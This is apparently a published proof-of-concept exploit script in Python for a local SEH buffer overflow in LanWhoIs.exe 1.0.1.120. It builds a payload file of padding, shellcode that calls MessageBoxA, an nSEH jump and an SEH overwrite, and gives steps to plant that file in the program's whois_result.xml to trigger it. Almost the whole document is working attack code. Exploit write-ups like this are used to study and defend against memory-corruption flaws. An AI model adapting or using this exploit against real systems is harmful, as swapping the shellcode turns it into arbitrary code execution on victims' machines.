|
#!/usr/bin/python
# -*- coding: utf-8 -*-
### LanWhoIs.exe 1.0.1.120 SEH Local Buffer Overflow Exploit by H3ku ###
# Date: 2016-10-26
# Exploit Author: H3ku
# Exploit Title: LanWhoIs.exe 1.0.1.120 SEH Overflow Exploit
# Vendor Homepage: http://lantricks.com
# Software Link: https://www.exploit-db.com/apps/70189a2b11bf85245ebcc00b603b5def-lanwhois_setup.exe
# Version: 1.0.1.120
# Tested on: Win7 64bit - Win10 64bits
# Credits
# =======
# PoC by: hyp3rlinx - http://hyp3rlinx.altervista.org
# https://www.exploit-db.com/exploits/38404/
# Thanks to n30m1nd for clarifying my doubts in the amazing world of exploiting!
# How to
# ======
# * Run this python script. It will generate an "exploit.txt" file.
# * Copy the contents in to C:\Program Files (x86)\LanTricks\LanWhoIs\whois_result.xml (Parameter <QueryString>)
# * Select the address in the Results window pane and then click Query button to run a whois lookup or use 'F3'
# * MessageBoxA is called on an infinite loop since the exception handler is triggered all the time
# Exploit code
# ============
import struct
# MessageBoxA in 00404A2C
shellcode = ("\x25\x41\x41\x41"
"\x41\x25\x32\x32"
"\x32\x32\x50\x68"
"\x70\x77\x6E\x64"
"\x54\x5F\x50\x57"
"\x57\x50\x35\x51"
"\x7A\x70\x50\x35"
"\x7D\x30\x30\x50"
"\x50\xC3")
payload = "A"*550
payload += shellcode
payload += "A"*(126-len(shellcode))
nseh = "\xEB\x80\x90\x90" #jmp $-126
seh = struct.pack("<L", 0x00402b56) #POP ECX - POP EBP - RETN
payload += nseh + seh
with open("exploit.txt", "wb") as f:
f.write(payload[:-1])
f.close()
|